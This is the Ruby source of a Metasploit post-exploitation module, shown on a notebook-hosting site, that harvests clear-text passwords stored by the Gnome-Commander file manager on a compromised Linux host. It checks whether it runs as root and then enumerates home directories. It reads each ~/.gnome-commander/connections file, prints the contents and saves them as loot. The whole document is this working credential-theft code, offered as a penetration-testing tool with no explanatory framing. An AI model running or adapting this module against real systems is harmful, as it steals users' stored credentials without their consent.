Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/linux/gather/gnome_commander_creds.rb
Views: 11703
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Linux Gather Gnome-Commander Creds',13'Description' => %q{14This module collects the clear text passwords stored by15Gnome-commander, a GUI file explorer for GNOME. Typically, these16passwords are stored in the user's home directory, at17~/.gnome-commander/connections.18},19'License' => MSF_LICENSE,20'Author' => [ 'David Bloom' ], # Twitter: @philophobia7821'Platform' => %w[linux],22'SessionTypes' => [ 'meterpreter', 'shell']23)24)25end2627def run28user_dirs = []29# Search current user30user = cmd_exec('whoami').chomp31# User is root32if user == 'root'33print_status("Current user is #{user}, probing all home dirs")34user_dirs << '/root'35# Search home dirs36cmd_exec('ls /home').each_line.map { |l| user_dirs << "/home/#{l}".chomp }37else38# Non root user39print_status("Current user is #{user}, probing /home/#{user}")40user_dirs << "/home/#{user}"41end42# Try to find connections file in users homes43user_dirs.each do |dir|44# gnome-commander connections file45connections_file = "#{dir}/.gnome-commander/connections"46if file?(connections_file)47# File.exist48begin49str_file = read_file(connections_file)50print_good("File found: #{connections_file}")51vprint_line(str_file)52# Store file53p = store_loot('connections', 'text/plain', session, str_file, connections_file, 'Gnome-Commander connections')54print_good("Connections file saved to #{p}")55rescue EOFError56# If there's nothing in the file, we hit EOFError57print_error("Nothing read from file: #{connections_file}, file may be empty")58end59else60# File not found61vprint_error("File not found: #{connections_file}")62end63end64end65end666768